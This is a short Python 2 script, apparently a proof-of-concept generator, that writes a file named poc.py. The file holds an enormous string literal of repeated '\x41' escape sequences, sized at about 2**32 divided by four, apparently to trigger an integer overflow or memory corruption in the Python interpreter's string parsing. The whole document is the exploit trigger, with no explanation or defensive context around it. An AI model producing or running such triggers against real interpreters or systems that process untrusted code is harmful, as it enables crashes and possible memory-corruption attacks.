multiplication_constant = 4
len_reqd = 2**32 / multiplication_constant
splitsize = 2**6
x = ('\\x41' * ((splitsize / 4) - 1)) + 'AAA\n'

with open("poc.py", 'wb') as f:
     f.write("# -*- coding: us-ascii -*-\n")
     f.write('x = """')
     for k in xrange(len_reqd / splitsize):
          f.write(x)
     f.write('"""')